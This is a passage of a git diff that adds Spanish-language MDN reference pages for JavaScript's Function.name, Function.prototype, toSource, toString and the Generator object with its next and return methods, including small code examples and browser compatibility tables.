+<p>{{jsxref("Function.bind()")}} produce una función cuyo nombre es igual a "bound " seguido del nombre de la función original.</p>
+
+<pre class="brush: js">function foo() {};
+foo.bind({}).name; // "bound foo"</pre>
+
+<h3 id="Nombres_de_funciones_getters_y_setters">Nombres de funciones getters y setters</h3>
+
+<p>Cuando se usan <code><a href="/en-US/docs/Web/JavaScript/Reference/Functions/get">get</a></code> y <code><a href="/en-US/docs/Web/JavaScript/Reference/Functions/set">set</a>, </code>"get" y "set" aparecerán en el nombre de la función.</p>
+
+<pre class="brush: js">var o = {
+  get foo(){},
+  set foo(x){}
+};
+
+var descriptor = Object.getOwnPropertyDescriptor(o, "foo");
+descriptor.get.name; // "get foo"
+descriptor.set.name; // "set foo";</pre>
+
+<h2 id="Ejemplos_2">Ejemplos</h2>
+
+<p>Se puede usar <code>obj.constructor.name</code> para saber cuál es la "clase" de un objeto:</p>
+
+<pre class="brush: js">function a() {}
+
+var b = new a();
+
+console.log(b.constructor.name); // imprime "a"
+</pre>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<p>Para versiones de IE &lt; 9, se puede usar <code>fn._name()</code> en su lugar. Para IE9 o posteriores se puede usar el siguiente <a href="https://github.com/JamesMGreene/Function.name">polyfill</a>.</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-name', 'name')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-name', 'name')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatChrome(33.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Configurable: true</td>
+   <td>{{CompatChrome(43.0)}}</td>
+   <td>{{CompatGeckoDesktop(38)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Nombres inferidos en funciones anónimas</td>
+   <td>{{CompatChrome(51.0)}}</td>
+   <td>{{CompatNo}} [1]</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Configurable: true</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile(38)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Nombres inferidos en funciones anónimas</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(51.0)}}</td>
+   <td>{{CompatNo}} [1]</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatChrome(51.0)}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] See {{bug(883377)}}.</p>
diff --git a/files/es/web/javascript/referencia/objetos_globales/function/prototype/index.html b/files/es/web/javascript/referencia/objetos_globales/function/prototype/index.html
new file mode 100644
index 0000000000..110de332cc
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/function/prototype/index.html
@@ -0,0 +1,64 @@
+---
+title: Function.prototype
+slug: Web/JavaScript/Referencia/Objetos_globales/Function/prototype
+tags:
+  - Function
+  - JavaScript
+  - Property
+translation_of: Web/JavaScript/Reference/Global_Objects/Function
+---
+<div>{{JSRef("Objetos_globales", "Function")}}</div>
+
+<h2 id="Resumen" name="Resumen">Resumen</h2>
+
+<p>Un valor desde cuyas instancias de una clase particular son creados. Cada objeto que puede ser creado por la invocación a la función constructora posee una propiedad prototype asociada.</p>
+
+<h2 id="Descripci.C3.B3n" name="Descripci.C3.B3n">Descripción</h2>
+
+<p>Puede añadir propiedades o métodos a una clase existente mediante la adición de ellos al prototipo asociado con la función constructora para esa clase.</p>
+
+<h2 id="Propiedades">Propiedades</h2>
+
+<dl>
+ <dt>{{jsxref("Function.arguments")}} {{Deprecated_inline}}</dt>
+ <dd>Una matriz correspondiente a los argumentos pasados a una función. Como propiedad de una <code>Function</code>, este uso está obsoleto. Se recomenda el uso del objeto {{jsxref("Functiones/arguments", "arguments")}}.</dd>
+ <dt>{{jsxref("Function.arity")}} {{obsolete_inline}}</dt>
+ <dd>Especifica el número de argumentos que espera la función. Se recomienda, no obstante, utilizar la función {{jsxref("Function.length", "length")}}.</dd>
+ <dt>{{jsxref("Function.caller")}}</dt>
+ <dd>Especifica la función que invoca la ejecución de la función actual (no estándar).</dd>
+ <dt>{{jsxref("Function.constructor")}}</dt>
+ <dd>Especifica la función que crea un prototipo de objeto.</dd>
+ <dt>{{jsxref("Function.length")}}</dt>
+ <dd>Specifica el número de argumentos esperados por la función.</dd>
+ <dt>{{jsxref("Function.name")}}</dt>
+ <dd>El nombre de la función (no forma parte del estándar).</dd>
+ <dt>{{jsxref("Function.prototype")}}</dt>
+ <dd>Permite añadir propiedades a los objetos función (ambos, los construidos usando <code>Function</code> y los declarados usando una declaración de función o una expresión de función).</dd>
+</dl>
+
+<div>{{ jsOverrides("Object", "properties", "arguments", "arity", "caller", "constructor", "length", "name", "displayName") }}</div>
+
+<h2 id="Métodos">Métodos</h2>
+
+<dl>
+ <dt>{{jsxref("Function.prototype.apply()")}}</dt>
+ <dd>Le permite aplicar el método de otro objeto en el contexto de un objeto diferente (el objeto llamado).</dd>
+ <dt>{{jsxref("Function.prototype.call()")}}</dt>
+ <dd>Le Permite llamar (ejecutar) a un método de otro objeto en el contexto de un objeto diferente (el objeto que llama).</dd>
+ <dt>{{jsxref("Function.prototype.toSource()")}}</dt>
+ <dd>Devuelve una cadena que representa el código fuente de la función. Anula al método {{jsxref("Object.toSource")}}.</dd>
+ <dt>{{jsxref("Function.prototype.toString()")}}</dt>
+ <dd>Devuelve una cadena que representa el código fuente de la función. Anula al método {{jsxref("Object.toSource")}}.</dd>
+</dl>
+
+<div>{{ jsOverrides("Object", "methods", "apply", "call", "toSource", "toString") }}</div>
+
+<dl>
+ <dt> </dt>
+</dl>
+
+<h2 id="Vea_También">Vea También</h2>
+
+<ul>
+ <li>{{jsxref("Objetos_globales/Function", "Function")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/function/tosource/index.html b/files/es/web/javascript/referencia/objetos_globales/function/tosource/index.html
new file mode 100644
index 0000000000..3cee3c1d4c
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/function/tosource/index.html
@@ -0,0 +1,97 @@
+---
+title: Function.prototype.toSource()
+slug: Web/JavaScript/Referencia/Objetos_globales/Function/toSource
+translation_of: Web/JavaScript/Reference/Global_Objects/Function/toSource
+---
+<div>{{JSRef}} {{non-standard_header}}</div>
+
+<p>El método <code><strong>toSource()</strong></code> devuelve un string representando el código fuente del objeto.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><code><var>function</var>.toSource();
+Function.toSource();
+</code></pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<p>Ninguno.</p>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>El método <code>toSource</code> devuelve los siguientes valores:</p>
+
+<ul>
+ <li>For the built-in {{jsxref("Function")}} object, <code>toSource()</code> devuelve la siguiente cadena indicando que el código fuente no está disponible:
+
+  <pre class="brush: js">function Function() {
+    [native code]
+}
+</pre>
+ </li>
+ <li>En funciones personalizadas, <code>toSource()</code> devuelve el código JavaScript que define el objeto como un string.</li>
+</ul>
+
+<p>Éste método es usado de forma interna por JavaScript y no explicitamente desde el código. Puedes usar <code>toSource</code> mientras depuras para examinar el contenido de un objeto.</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<p>No está reflejado en ningún estándar. Implementaso en JavaScript 1.3.</p>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{jsxref("Object.prototype.toSource()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/function/tostring/index.html b/files/es/web/javascript/referencia/objetos_globales/function/tostring/index.html
new file mode 100644
index 0000000000..b5ee70147e
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/function/tostring/index.html
@@ -0,0 +1,130 @@
+---
+title: Function.prototype.toString()
+slug: Web/JavaScript/Referencia/Objetos_globales/Function/toString
+translation_of: Web/JavaScript/Reference/Global_Objects/Function/toString
+---
+<div>{{JSRef}}</div>
+
+<p>El método <code><strong>toString()</strong></code> retorna una cadena representando el código fuente de la función.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><code><var>function</var>.toString(indentation)</code></pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<dl>
+ <dt><code>indentation</code> {{non-standard_inline}} {{obsolete_inline(17)}}</dt>
+ <dd>La cantidad de espacios a indentar en la representación de cadena del código fuente. Si <code>indentation</code> es menor o igual a <code>-1</code>, la mayoría de los espacios innecesarios son eliminados.</dd>
+</dl>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>El objeto {{jsxref("Function")}} reconduce el método {{jsxref("Object.prototype.toString", "toString")}} heredado de  {{jsxref("Object")}}; no hereda {{jsxref("Object.prototype.toString")}}. Para objetos {{jsxref("Function")}}, el método <code>toString</code> retorna una representación de cadena del objeto en forma de declaración de función. Esto es, <code>toString</code> descompila la función y la cadena retornada incluye la palabra clave <code>function</code>, la lista de argumentos, llaves y el código fuente del cuerpo de la función.</p>
+
+<p>JavaScript llama al método <code>toString</code> automáticamente cuando una {{jsxref("Function")}} va a ser representada como un valor de texto, p.e. cuando una función es concatenada con un valor de cadena (string).</p>
+
+<p>El método <code>toString()</code> producirá una excepción {{jsxref("TypeError")}} ("Function.prototype.toString called on incompatible object"), si el valor de su objeto <code>this</code> no es un objeto <code>Function</code>. Esto también ocurrirá para objetos {{jsxref("Proxy")}}, por ejemplo:</p>
+
+<pre class="brush: js example-bad">Function.prototype.toString.call("foo"); // TypeError
+
+var proxy = new Proxy(function() {}, {});
+Function.prototype.toString.call(proxy); // TypeError
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Observaciones</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Definición inicial. Implementado en JavaScript 1.1.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.3.4.2', 'Function.prototype.toString')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-function.prototype.tostring', 'Function.prototype.toString')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Añadidos requerimientos más específicos para la representación de cadena.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-function.prototype.tostring', 'Function.prototype.toString')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Prestación</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Prestación</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Notas_específicas_para_Gecko">Notas específicas para Gecko</h2>
+
+<ul>
+ <li>Desde Gecko 17.0 {{geckoRelease("17")}}, <code>Function.prototype.toString()</code> fue implementada salvando el código fuente de la función. El descompilador fue eliminado, de modo que el parámetro <code>indentation</code> ya no se necesita más. Ver {{bug("761723")}} para más detalles.</li>
+ <li>A partir de Gecko 38 {{geckoRelease("38")}}, <code>Function.prototype.toString()</code> produce error para objetos {{jsxref("Proxy")}}  ({{bug(1100936)}}).</li>
+</ul>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{jsxref("Object.prototype.toString()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/generador/index.html b/files/es/web/javascript/referencia/objetos_globales/generador/index.html
new file mode 100644
index 0000000000..ec92ca413f
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/generador/index.html
@@ -0,0 +1,228 @@
+---
+title: Generador
+slug: Web/JavaScript/Referencia/Objetos_globales/Generador
+tags:
+  - ECMAScript2015
+  - ECMAScript6
+  - Generador
+  - Generador Legado
+  - Iterador Legado
+  - JavaScript
+  - Referencia
+translation_of: Web/JavaScript/Reference/Global_Objects/Generator
+---
+<div>{{JSRef}}</div>
+
+<div></div>
+
+<p>El objeto <code>Generator</code> es retornado por una {{jsxref("Statements/function*", "función generator", "", 1)}} y es conformado tanto el protocolo iterable como el protocolo iterador.</p>
+
+<h2 id="Constructor">Constructor</h2>
+
+<p>Este objeto no puede ser instanciado directamente. En su lugar, una instancia del objeto <code>Generator</code> puede ser devuelta por una <a href="/es/docs/Web/JavaScript/Referencia/Sentencias/function*">función generator</a>:</p>
+
+<pre class="syntaxbox notranslate">	function* gen() {
+	  yield 1;
+	  yield 2;
+	  yield 3;
+	}
+
+	var g = gen(); // "Generator { }"</pre>
+
+<dl>
+</dl>
+
+<h2 id="Métodos_de_instanciación">Métodos de instanciación</h2>
+
+<p><em>Tambien hereda propiedades de {{JSxRef("Iterator")}}</em></p>
+
+<dl>
+ <dt>{{jsxref("Generator.prototype.next()")}}</dt>
+ <dd>Retorna el valor ofecido por la expresión {{jsxref("Operators/yield", "yield")}}</dd>
+ <dt>{{jsxref("Generator.prototype.return()")}}</dt>
+ <dd>Retorna el valor dado y finaliza el generador.</dd>
+ <dt>{{jsxref("Generator.prototype.throw()")}}</dt>
+ <dd>Lanza un error al generador (también finaliza el generador, a menos que sea atrapado desde ese generador)</dd>
+</dl>
+
+<h2 id="Propiedades">Propiedades</h2>
+
+<p><em>Tambien hereda propiedades de {{JSxRef("Iterator")}}</em></p>
+
+<dl>
+ <dt><code>Generator.prototype.constructor</code></dt>
+ <dd>Especifica la funciòn que construye el prototipo del objeto.</dd>
+</dl>
+
+<dl>
+ <dt><code>Generator.prototype[@@toStringTag]</code></dt>
+ <dd>La cuerda <code>"Generator"</code>.</dd>
+</dl>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<h3 id="Un_iterador_infinito">Un iterador infinito</h3>
+
+<pre class="brush: js notranslate">	function* idMaker() {
+	    var index = 0;
+	    while(true)
+	        yield index++;
+	}
+
+	var gen = idMaker(); // "Generator { }"
+
+	console.log(gen.next().value); // 0
+	console.log(gen.next().value); // 1
+	console.log(gen.next().value); // 2
+	// ...</pre>
+
+<h2 id="Objetos_generadores_legados">Objetos generadores legados</h2>
+
+<p>Firefox(SpderMonkey) tambén implementa una versón mas temprana de generadores en JavaScript 1.7, donde el asterisco (*) en la declaración de la funcion no era necesario(sólo use la palabra reservada yield en el cuerpo de la función). Sin embargo, los generadores legados se encuentran depreciados. No los use. Serán removidos ({{bug(1083482)}}).</p>
+
+<h3 id="Métodos_de_generadores_legados">Métodos de generadores legados</h3>
+
+<dl>
+ <dt><code>Generator.prototype.next() </code>{{non-standard_inline}}</dt>
+ <dt></dt>
+ <dt>Retorna el valor ofrecido por la expresión {{jsxref("Operators/yield", "yield")}}.  Esto se corresponde con el método next() en el objeto generador de ES2015.</dt>
+ <dt></dt>
+ <dt><code>Generator.prototype.close()</code> {{non-standard_inline}}</dt>
+ <dd><br>
+ Cierra el generador. Sí el método next() es llamado por la expresión {{jsxref("StopIteration")}}, un error será lanzado. Esto se corresponde con el método return() del objeto generador de ES2015.</dd>
+ <dt><code>Generator.prototype.send()</code> {{non-standard_inline}}</dt>
+ <dd>Utilizado para enviar un valor al generador. El valor es retornado por la expresion {{jsxref("Operators/yield", "yield")}}, y retorna el valor ofrecido por la siguiente expresion {{jsxref("Operators/yield", "yield")}}. <code>send(x)</code> Se corresponde a <code>next(x)</code> en el objeto generador de ECMAScript 2015.</dd>
+ <dt><strong><code>Generator.</code></strong><code>prototype.</code> <strong><code>throw()</code> </strong> {{non-standard_inline}}</dt>
+ <dd>Lanza un error al generador. Esto se corresponde con el metodo throw() en el objeto genererador de ES2015.</dd>
+</dl>
+
+<h3 id="Ejemplo_de_generador_legado">Ejemplo de generador legado</h3>
+
+<pre class="brush: js notranslate">	function fibonacci() {
+	  var a = yield 1;
+	  yield a * 2;
+	}
+
+	var it = fibonacci();
+	console.log(it);          // "Generator {  }"
+	console.log(it.next());   // 1
+	console.log(it.send(10)); // 20
+	console.log(it.close());  // undefined
+	console.log(it.next());   // throws StopIteration (as the generator is now closed)
+	</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-generator-objects', 'Generator objects')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Definición inicial</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-generator-objects', 'Generator objects')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Funcionalidad</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte basico</td>
+   <td>{{CompatChrome(39.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Funcionalidad</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(39.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(39.0)}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="sect1"></h2>
+
+<h2 id="Vea_también">Vea también</h2>
+
+<h3 id="Generadores_Legados">Generadores Legados</h3>
+
+<ul>
+ <li>{{jsxref("Statements/Legacy_generator_function", "The legacy generator function", "", 1)}}</li>
+ <li>{{jsxref("Operators/Legacy_generator_function", "The legacy generator function expression", "", 1)}}</li>
+ <li>{{jsxref("StopIteration")}}</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Deprecated_and_obsolete_features/The_legacy_Iterator_protocol">The legacy Iterator protocol</a></li>
+</ul>
+
+<h3 id="Generadores_ES2015">Generadores ES2015</h3>
+
+<ul>
+ <li>{{jsxref("Functions", "Functions", "", 1)}}</li>
+ <li>{{jsxref("Statements/function", "function")}}</li>
+ <li>{{jsxref("Operators/function", "function expression")}}</li>
+ <li>{{jsxref("Function")}}</li>
+ <li>{{jsxref("Statements/function*", "function*")}}</li>
+ <li>{{jsxref("Operators/function*", "function* expression")}}</li>
+ <li>{{jsxref("GeneratorFunction")}}</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Guide/The_Iterator_protocol">The Iterator protocol</a></li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/generador/next/index.html b/files/es/web/javascript/referencia/objetos_globales/generador/next/index.html
new file mode 100644
index 0000000000..6b6bf61cbe
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/generador/next/index.html
@@ -0,0 +1,109 @@
+---
+title: Generator.prototype.next()
+slug: Web/JavaScript/Referencia/Objetos_globales/Generador/next
+translation_of: Web/JavaScript/Reference/Global_Objects/Generator/next
+---
+<div>{{JSRef}}</div>
+
+<p>El método <code><strong>next</strong></code><strong><code>()</code></strong> regresa un objeto con las propiedades <code>done</code> y <code>value</code>. También puedes pasar un parámetro al método <code>next</code> para enviar un valor al generador.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><code><var>gen</var>.next(valor)</code></pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<dl>
+ <dt><code>valor</code></dt>
+ <dd>El valor a enviar al generador.</dd>
+</dl>
+
+<h3 id="Valor_de_retorno">Valor de retorno</h3>
+
+<p>Un {{jsxref("Object")}} con dos propiedades:</p>
+
+<ul>
+ <li><code>done</code> (booleano)
+
+  <ul>
+   <li>Es <code>verdadero</code> si el iterador ya llegó al final de la secuencia. En este caso <code>valor</code> define opcionalmente el <em>valor de retorno</em> del iterador.</li>
+   <li>Es <code>falso</code> si el iterador puede dar un siguiente valor en la secuencia. Es equivalente a no definir la propiedad <code>done</code>.</li>
+  </ul>
+ </li>
+ <li><code>value</code> - cualquier valor Javascript regresado por el iterador. Éste puede ser omitido si <code>done</code> is <code>verdadero</code>.</li>
+</ul>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Using_next()">Using <code>next()</code></h3>
+
+<p>The following example shows a simple generator and the object that the <code>next</code> method returns:</p>
+
+<pre class="brush: js">function* gen() {
+  yield 1;
+  yield 2;
+  yield 3;
+}
+
+var g = gen(); // "Generator { }"
+g.next();      // "Object { value: 1, done: false }"
+g.next();      // "Object { value: 2, done: false }"
+g.next();      // "Object { value: 3, done: false }"
+g.next();      // "Object { value: undefined, done: true }"
+</pre>
+
+<h3 id="Sending_values_to_the_generator">Sending values to the generator</h3>
+
+<p>In this example, <code>next</code> is called with a value. Note that the first call did not log anything, because the generator was not yielding anything initially.</p>
+
+<pre class="brush: js">function* gen() {
+  while(true) {
+    var value = yield null;
+    console.log(value);
+  }
+}
+
+var g = gen();
+g.next(1);
+// "{ value: null, done: false }"
+g.next(2);
+// 2
+// "{ value: null, done: false }"
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-generator.prototype.next', 'Generator.prototype.next')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-generator.prototype.next', 'Generator.prototype.next')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.Generator.next")}}</p>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/function*">function*</a></code></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Guide/Iterators_and_Generators">Iterators and generators</a></li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/generador/return/index.html b/files/es/web/javascript/referencia/objetos_globales/generador/return/index.html
new file mode 100644
index 0000000000..649d5b8dec
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/generador/return/index.html
@@ -0,0 +1,102 @@
+---
+title: Generator.prototype.return()
+slug: Web/JavaScript/Referencia/Objetos_globales/Generador/return
+tags:
+  - ECMAScript 2015
+  - Generador
+  - JavaScript
+  - Prototipo
+  - Referencia
+  - metodo
+translation_of: Web/JavaScript/Reference/Global_Objects/Generator/return
+---
+<div>{{JSRef}}</div>
+
+<p>El método <code><strong>return()</strong></code> regresa el valor dado y finaliza al generador.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><code><var>gen</var>.return(valor)</code></pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<dl>
+ <dt><code>valor</code></dt>
+ <dd>El valor a regresar.</dd>
+</dl>
+
+<h3 id="Valor_de_retorno">Valor de retorno</h3>
+
+<p>El valor dado como argumento.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Utilizando_return()">Utilizando <code>return()</code></h3>
+
+<p>El siguiente ejemplo muestra un generador simple y su método <code>return</code>.</p>
+
+<pre class="brush: js">function* gen() {
+  yield 1;
+  yield 2;
+  yield 3;
+}
+
+var g = gen();
+
+g.next();        // { value: 1, done: false }
+g.return('foo'); // { value: "foo", done: true }
+g.next();        // { value: undefined, done: true }
+</pre>
+
+<p>Si <code>return(valor)</code> es invocado en un generador que ya está en su estado "completado", el generador permanecerá en estado "completado". Si no se da ningún argumento, el objeto regresado es el mismo a que si se invocara <code>.next()</code>. Si se da un argumento, éste se asignará como valor en la propiedad <code>value</code> del objeto regresado.</p>
+
+<pre class="brush: js">function* gen() {
+  yield 1;
+  yield 2;
+  yield 3;
+}
+
+var g = gen();
